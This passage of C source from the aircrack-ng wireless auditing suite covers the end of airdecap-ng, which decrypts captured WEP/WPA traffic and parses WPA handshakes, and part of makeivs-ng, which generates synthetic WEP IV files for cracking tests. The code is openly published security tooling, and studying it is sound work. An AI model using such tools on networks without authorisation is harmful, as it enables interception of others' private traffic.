svnrev, int beta, int rc); extern int check_crc_buf( unsigned char *buf, int len ); extern int calc_crc_buf( unsigned char *buf, int len ); char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airdecap-ng [options] \n" "\n" " Common options:\n" " -l : don't remove the 802.11 header\n" " -b : access point MAC address filter\n" " -e : target network SSID\n" "\n" " WEP specific option:\n" " -w : target network WEP key in hex\n" "\n" " WPA specific options:\n" " -p : target network WPA passphrase\n" " -k : WPA Pairwise Master Key in hex\n" "\n" " --help : Displays this usage screen\n" "\n"; struct decap_stats { unsigned long nb_read; /* # of packets read */ unsigned long nb_wep; /* # of WEP data packets */ unsigned long nb_bad; /* # of bad data packets */ unsigned long nb_wpa; /* # of WPA data packets */ unsigned long nb_plain; /* # of plaintext packets */ unsigned long nb_unwep; /* # of decrypted WEP pkt */ unsigned long nb_unwpa; /* # of decrypted WPA pkt */ } stats; struct options { int no_convert; char essid[36]; char passphrase[65]; uchar bssid[6]; uchar pmk[40]; uchar wepkey[64]; int weplen, crypt; int store_bad; } opt; uchar buffer[65536]; uchar buffer2[65536]; /* this routine handles to 802.11 to Ethernet translation */ int write_packet( FILE *f_out, struct pcap_pkthdr *pkh, uchar *h80211 ) { int n; uchar arphdr[12]; int qosh_offset = 0; if( opt.no_convert ) { if( buffer != h80211 ) memcpy( buffer, h80211, pkh->caplen ); } else { /* create the Ethernet link layer (MAC dst+src) */ switch( h80211[1] & 3 ) { case 0: /* To DS = 0, From DS = 0: DA, SA, BSSID */ memcpy( arphdr + 0, h80211 + 4, 6 ); memcpy( arphdr + 6, h80211 + 10, 6 ); break; case 1: /* To DS = 1, From DS = 0: BSSID, SA, DA */ memcpy( arphdr + 0, h80211 + 16, 6 ); memcpy( arphdr + 6, h80211 + 10, 6 ); break; case 2: /* To DS = 0, From DS = 1: DA, BSSID, SA */ memcpy( arphdr + 0, h80211 + 4, 6 ); memcpy( arphdr + 6, h80211 + 16, 6 ); break; default: /* To DS = 1, From DS = 1: RA, TA, DA, SA */ memcpy( arphdr + 0, h80211 + 16, 6 ); memcpy( arphdr + 6, h80211 + 24, 6 ); break; } /* check QoS header */ if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { qosh_offset += 2; } /* remove the 802.11 + LLC header */ if( ( h80211[1] & 3 ) != 3 ) { pkh->len -= 24 + qosh_offset + 6; pkh->caplen -= 24 + qosh_offset + 6; /* can overlap */ memmove( buffer + 12, h80211 + qosh_offset + 30, pkh->caplen ); } else { pkh->len -= 30 + qosh_offset + 6; pkh->caplen -= 30 + qosh_offset + 6; memmove( buffer + 12, h80211 + qosh_offset + 36, pkh->caplen ); } memcpy( buffer, arphdr, 12 ); pkh->len += 12; pkh->caplen += 12; } n = sizeof( struct pcap_pkthdr ); if( fwrite( pkh, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } n = pkh->caplen; if( fwrite( buffer, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } return( 0 ); } int main( int argc, char *argv[] ) { time_t tt; uint magic; char *s, buf[128]; FILE *f_in, *f_out, *f_bad=NULL; unsigned long crc; int i = 0, n, linktype; uint z; uchar ZERO[32], *h80211; uchar bssid[6], stmac[6]; struct WPA_ST_info *st_1st; struct WPA_ST_info *st_cur; struct WPA_ST_info *st_prv; struct pcap_file_header pfh; struct pcap_pkthdr pkh; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif /* parse the arguments */ memset( ZERO, 0, sizeof( ZERO ) ); memset( &opt, 0, sizeof( opt ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"bssid", 1, 0, 'b'}, {"debug", 1, 0, 'd'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "lb:k:e:p:w:H", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'l' : opt.no_convert = 1; break; case 'b' : i = 0; s = optarg; while( sscanf( s, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.bssid[i] = n; if( ++i >= 6 ) break; if( ! ( s = strchr( s, ':' ) ) ) break; s++; } if( i != 6 ) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'k' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WPA PMK.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.pmk[i++] = n; if( i >= 32 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 32 ) { printf( "Invalid WPA PMK.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'e' : if ( opt.essid[0]) { printf( "ESSID already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } memset( opt.essid, 0, sizeof( opt.essid ) ); strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 ); break; case 'p' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; memset( opt.passphrase, 0, sizeof( opt.passphrase ) ); strncpy( opt.passphrase, optarg, sizeof( opt.passphrase ) - 1 ); break; case 'w' : if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length. [5,13,16,29,61]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'H' : printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airdecap-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); } if( argc - optind == 0) { printf("No file to decrypt specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.crypt == CRYPT_WPA ) { if( opt.passphrase[0] != '\0' ) { /* compute the Pairwise Master Key */ if( opt.essid[0] == '\0' ) { printf( "You must also specify the ESSID (-e).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } calc_pmk( opt.passphrase, opt.essid, opt.pmk ); } } /* open the input and output pcap files */ if( ( f_in = fopen( argv[optind], "rb" ) ) == NULL ) { perror( "fopen failed\n" ); printf( "Could not open \"%s\".\n", argv[optind] ); return( 1 ); } n = sizeof( pfh ); if( fread( &pfh, 1, n, f_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", argv[optind] ); return( 1 ); } if( ( magic = pfh.magic ) == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", argv[optind] ); return( 1 ); } linktype = pfh.linktype; n = strlen( argv[optind] ); if( n > 4 && ( n + 5 < (int) sizeof( buffer ) ) && argv[optind][n - 4] == '.' ) { memcpy( buffer , argv[optind], n - 4 ); memcpy( buffer2, argv[optind], n - 4 ); memcpy( buffer + n - 4, "-dec", 4 ); memcpy( buffer2 + n - 4, "-bad", 4 ); memcpy( buffer + n, argv[optind] + n - 4, 5 ); memcpy( buffer2 + n, argv[optind] + n - 4, 5 ); } else { if( n > 5 && ( n + 6 < (int) sizeof( buffer ) ) && argv[optind][n - 5] == '.' ) { memcpy( buffer , argv[optind], n - 5 ); memcpy( buffer2, argv[optind], n - 5 ); memcpy( buffer + n - 5, "-dec", 4 ); memcpy( buffer2 + n - 5, "-bad", 4 ); memcpy( buffer + n - 1, argv[optind] + n - 5, 6 ); memcpy( buffer2 + n - 1, argv[optind] + n - 5, 6 ); } else { memset( buffer , 0, sizeof( buffer ) ); memset( buffer2, 0, sizeof( buffer ) ); snprintf( (char *) buffer , sizeof( buffer ) - 1, "%s-dec", argv[optind] ); snprintf( (char *) buffer2, sizeof( buffer ) - 1, "%s-bad", argv[optind] ); } } if( opt.crypt == CRYPT_WEP && opt.no_convert == 1 ) { opt.store_bad=1; } if( ( f_out = fopen( (char *) buffer, "wb+" ) ) == NULL ) { perror( "fopen failed" ); printf( "Could not create \"%s\".\n", buffer ); return( 1 ); } if(opt.store_bad) { if( ( f_bad = fopen( (char *) buffer2, "wb+" ) ) == NULL ) { perror( "fopen failed" ); printf( "Could not create \"%s\".\n", buffer2 ); return( 1 ); } } pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = ( opt.no_convert ) ? LINKTYPE_IEEE802_11 : LINKTYPE_ETHERNET; n = sizeof( pfh ); if( fwrite( &pfh, 1, n, f_out ) != (size_t) n ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } if(opt.store_bad) { if( fwrite( &pfh, 1, n, f_bad ) != (size_t) n ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } /* loop reading and deciphering the packets */ memset( &stats, 0, sizeof( stats ) ); tt = time( NULL ); st_1st = NULL; while( 1 ) { if( time( NULL ) - tt > 0 ) { /* update the status line every second */ printf( "\33[KRead %ld packets...\r", stats.nb_read ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ n = sizeof( pkh ); if( fread( &pkh, 1, n, f_in ) != (size_t) n ) break; if( magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = pkh.caplen; if( n <= 0 || n > 65535 ) { printf( "Corrupted file? Invalid packet length %d.\n", n ); break; } if( fread( buffer, 1, n, f_in ) != (size_t) n ) break; stats.nb_read++; h80211 = buffer; if( linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; /* prism54 */ else { n = *(int *)( h80211 + 4 ); if( magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } /* remove the FCS if present (madwifi) */ if( check_crc_buf( h80211, pkh.caplen - 4 ) == 1 ) { pkh.len -= 4; pkh.caplen -= 4; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) continue; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if( z + 16 > pkh.caplen ) continue; /* check QoS header */ if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } /* check the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp( opt.bssid, ZERO, 6 ) != 0 ) if( memcmp( opt.bssid, bssid, 6 ) != 0 ) continue; /* locate the station's MAC address */ switch( h80211[1] & 3 ) { case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: memcpy( stmac, h80211 + 4, 6 ); break; case 3: memcpy( stmac, h80211 + 10, 6 ); break; default: continue; } st_prv = NULL; st_cur = st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new station, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct WPA_ST_info *) malloc( sizeof( struct WPA_ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct WPA_ST_info ) ); if( st_1st == NULL ) st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); memcpy( st_cur->bssid, bssid, 6 ); } /* check if we haven't already processed this packet */ crc = calc_crc_buf( h80211 + z, pkh.caplen - z ); if( ( h80211[1] & 3 ) == 2 ) { if( st_cur->t_crc == crc ) continue; st_cur->t_crc = crc; } else { if( st_cur->f_crc == crc ) continue; st_cur->f_crc = crc; } /* check the SNAP header to see if data is encrypted * * as unencrypted data begins with AA AA 03 00 00 00 */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) == 0 ) { uchar K[64]; stats.nb_wep++; if( opt.crypt != CRYPT_WEP ) continue; memcpy( K, h80211 + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if(opt.store_bad) memcpy(buffer2, h80211, pkh.caplen); if( decrypt_wep( h80211 + z + 4, pkh.caplen - z - 4, K, 3 + opt.weplen ) == 0 ) { if(opt.store_bad) { stats.nb_bad++; memcpy(h80211, buffer2, pkh.caplen); if( write_packet( f_bad, &pkh, h80211 ) != 0 ) break; } continue; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ pkh.len -= 8; pkh.caplen -= 8; memmove( h80211 + z, h80211 + z + 4, pkh.caplen - z ); stats.nb_unwep++; h80211[1] &= 0xBF; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; } else { stats.nb_wpa++; if( opt.crypt != CRYPT_WPA ) continue; /* if the PTK is valid, try to decrypt */ if( st_cur == NULL || ! st_cur->valid_ptk ) continue; if( st_cur->keyver == 1 ) { if( decrypt_tkip( h80211, pkh.caplen, st_cur->ptk + 32 ) == 0 ) continue; pkh.len -= 20; pkh.caplen -= 20; } else { if( decrypt_ccmp( h80211, pkh.caplen, st_cur->ptk + 32 ) == 0 ) continue; pkh.len -= 16; pkh.caplen -= 16; } /* WPA data packet was successfully decrypted, * * remove the WPA Ext.IV & MIC, write the data */ /* can overlap */ memmove( h80211 + z, h80211 + z + 8, pkh.caplen - z ); stats.nb_unwpa++; h80211[1] &= 0xBF; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; } } else { /* check ethertype == EAPOL */ z += 6; if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) { stats.nb_plain++; if( opt.crypt != CRYPT_NONE ) continue; if( write_packet( f_out, &pkh, h80211 ) != 0 ) break; else continue; } z += 2; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) continue; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &h80211[z + 17], 32 ); } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { /* set supplicant nonce */ memcpy( st_cur->snonce, &h80211[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0 || st_cur->eapol_size > sizeof(st_cur->eapol)) { // Ignore the packet trying to crash us. st_cur->eapol_size = 0; continue; } memcpy( st_cur->keymic, &h80211[z + 81], 16 ); memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = h80211[z + 6] & 7; } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &h80211[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (pkh.len - z < st_cur->eapol_size || st_cur->eapol_size == 0 || st_cur->eapol_size > sizeof(st_cur->eapol)) { // Ignore the packet trying to crash us. st_cur->eapol_size = 0; continue; } memcpy( st_cur->keymic, &h80211[z + 81], 16 ); memcpy( st_cur->eapol, &h80211[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = h80211[z + 6] & 7; } st_cur->valid_ptk = calc_ptk( st_cur, opt.pmk ); } } fclose( f_in ); fclose( f_out ); if(opt.store_bad) fclose( f_bad ); /* write some statistics */ printf( "\33[KTotal number of packets read % 8ld\n" "Total number of WEP data packets % 8ld\n" "Total number of WPA data packets % 8ld\n" "Number of plaintext data packets % 8ld\n" "Number of decrypted WEP packets % 8ld\n" "Number of corrupted WEP packets % 8ld\n" "Number of decrypted WPA packets % 8ld\n", stats.nb_read, stats.nb_wep, stats.nb_wpa, stats.nb_plain, stats.nb_unwep, stats.nb_bad, stats.nb_unwpa ); return( 0 ); } aircrack-ng-1.2-beta3/src/makeivs-ng.c0000644000000000000000000003356012153517342016235 0ustar rootroot /* * Server for osdep network driver. Uses osdep itself! [ph33r teh recursion] * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "common.h" #define NULL_MAC "\x00\x00\x00\x00\x00\x00" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: makeivs-ng [options]\n" "\n" " Common options:\n" " -b : Set access point MAC address\n" " -f : Number of first IV\n" " -k : Target network WEP key in hex\n" " -s : Seed used to setup random generator\n" " -w : Filename to write IVs into\n" " -c : Number of IVs to generate\n" " -d : Percentage of dupe IVs\n" " -e : Percentage of erroneous keystreams\n" " -l : Length of keystreams\n" " -n : Ignores ignores weak IVs\n" " -p : Uses prng algorithm to generate IVs\n" "\n" " --help : Displays this usage screen\n" "\n"; int main( int argc, char *argv[] ) { int i, j, k, pre_n, n, count=100000, length=16; int paramUsed = 0, keylen=0, zero=0, startiv=0, iv=0; FILE *f_ivs_out; unsigned char K[32]; unsigned char S[256]; // unsigned char buffer[64]; char *s, *filename=NULL; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; unsigned long long size; int option_index, option, crypt=0; char buf[2048]; int weplen=0, nofms=0, prng=0; float errorrate=0, dupe=0; unsigned char bssid[6]; int seed=time(NULL), z; int maxivs=0x1000000; unsigned char byte; unsigned char **uiv_root; static struct option long_options[] = { {"key", 1, 0, 'k'}, {"write", 1, 0, 'w'}, {"count", 1, 0, 'c'}, {"seed", 1, 0, 's'}, {"length", 1, 0, 'l'}, {"first", 1, 0, 'f'}, {"bssid", 1, 0, 'b'}, {"dupe", 1, 0, 'd'}, {"error", 1, 0, 'e'}, {"nofms", 0, 0, 'n'}, {"prng", 0, 0, 'p'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; i = 0; memset(K, 0, 32); memset(bssid, 0, 6); uiv_root = uniqueiv_init(); /* check the arguments */ do { option_index = 0; option = getopt_long( argc, argv, "k:w:c:s:l:f:b:d:e:npHh", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': goto usage; break; case '?': goto usage; break; case 'n': paramUsed = 1; nofms = 1; break; case 'p': paramUsed = 1; prng = 1; break; case 'l': paramUsed = 1; if (atoi(optarg) < 2 || atoi(optarg) > 2300) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified keystream length is invalid. [2-2300]" ); return( 1 ); } length = atoi(optarg); break; case 'c': paramUsed = 1; if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified number of IVs is invalid. [1-16777216]" ); return( 1 ); } count = atoi(optarg); break; case 's': paramUsed = 1; if (atoi(optarg) < 1) { printf( "Specified seed is invalid. [>=1]" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } seed = atoi(optarg); break; case 'e': paramUsed = 1; sscanf(optarg, "%f", &errorrate); if (errorrate < 0.0f || errorrate > 100.0f) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified errorrate is invalid. [0-100]" ); return( 1 ); } break; case 'd': paramUsed = 1; sscanf(optarg, "%f", &dupe); if (dupe < 0.0f || dupe > 100.0f) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified dupe is invalid. [0-100]" ); return( 1 ); } break; case 'f': paramUsed = 1; if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified start IV is invalid. [0-16777215]" ); return( 1 ); } paramUsed = 1; startiv = atoi(optarg); break; case 'w': paramUsed = 1; filename = optarg; break; case 'b': paramUsed = 1; if ( memcmp(bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, bssid) != 0) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("Notice: invalid bssid\n"); return( 1 ); } break; case 'k' : paramUsed = 1; if( crypt != 0 ) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Encryption key already specified.\n" ); return( 1 ); } crypt = 1; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Invalid WEP key.\n" ); return( 1 ); } K[3+i++] = n; if( i >= 32 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 29) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Invalid WEP key length. [5,13,29]\n" ); return( 1 ); } weplen = i; keylen = i+3; break; case 'h' : case 'H' : goto usage; break; default : goto usage; } } while ( 1 ); if(nofms) maxivs -= 256*weplen; srand(seed); if (paramUsed == 0) { usage: printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 0 ); } if(count > maxivs) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf( "Specified too many IVs (%d), but there are only %d possible.\n", count, maxivs); return( 1 ); } if(length == 0) length = 16; //default 16 keystreambytes if(crypt < 1) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("You need to specify the WEP key (-k).\n"); return( 1 ); } if(filename == NULL) { printf( usage, getVersion("makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); printf("You need to specify the output filename (-w).\n"); return( 1 ); } size = (long long)strlen(IVS2_MAGIC) + (long long)sizeof(struct ivs2_filehdr) + (long long)count * (long long)sizeof(struct ivs2_pkthdr) + (long long)count * (long long)(length+4); printf("Creating %d IVs with %d bytes of keystream each.\n", count, length); printf("Estimated filesize: "); if(size > 1024*1024*1024) //over 1 GB printf("%.2f GB\n", ((double)size/(1024.0*1024.0*1024.0))); else if (size > 1024*1024) //over 1 MB printf("%.2f MB\n", ((double)size/(1024.0*1024.0))); else if (size > 1024) //over 1 KB printf("%.2f KB\n", ((double)size/1024.0)); else //under 1 KB printf("%.2f Byte\n", (double)size); if( ( f_ivs_out = fopen( filename, "wb+" ) ) == NULL ) { perror( "fopen" ); return( 1 ); } if( fwrite( IVS2_MAGIC, 1, 4, f_ivs_out ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr)); fivs2.version = IVS2_VERSION; /* write file header */ if( fwrite( &fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out ) != (size_t) 1 ) { perror( "fwrite(IV file header) failed" ); return( 1 ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_BSSID; ivs2.len += 6; /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( memcmp(NULL_MAC, bssid, 6) == 0) { memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6); } /* write BSSID */ if( fwrite( bssid, 1, 6, f_ivs_out ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5] ); z=0; pre_n=0; for( n = 0; n < count; n++ ) { if( (dupe==0) || (pre_n == n) || ((float)rand()/(float)RAND_MAX > (float)((float)dupe/100.0f)) ) { if(prng) { iv = rand() & 0xFFFFFF; } else { iv = (z + startiv) & 0xFFFFFF; z++; } if(nofms) { if ((iv & 0xff00) == 0xff00) { byte = (iv >> 16) & 0xff; if (byte >= 3 && byte < keylen) { if(!prng && (iv&0xFF)==0) z+=0xff; n--; continue; } } } if( uniqueiv_check( uiv_root, (unsigned char*)&iv ) != 0 ) { n--; continue; } uniqueiv_mark( uiv_root, (unsigned char*)&iv ); } pre_n=n; K[2] = ( iv >> 16 ) & 0xFF; K[1] = ( iv >> 8 ) & 0xFF; K[0] = ( iv ) & 0xFF; for( i = 0; i < 256; i++ ) S[i] = i; for( i = j = 0; i < 256; i++ ) { j = ( j + S[i] + K[i % keylen] ) & 0xFF; SWAP( S[i], S[j] ); } if(errorrate > 0 && ((float)((float)rand()/(float)RAND_MAX) <= (float)(errorrate/100.0f)) ) { SWAP( S[1], S[11] ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.flags |= IVS2_XOR; ivs2.len += length+4; if( fwrite( &ivs2, 1, 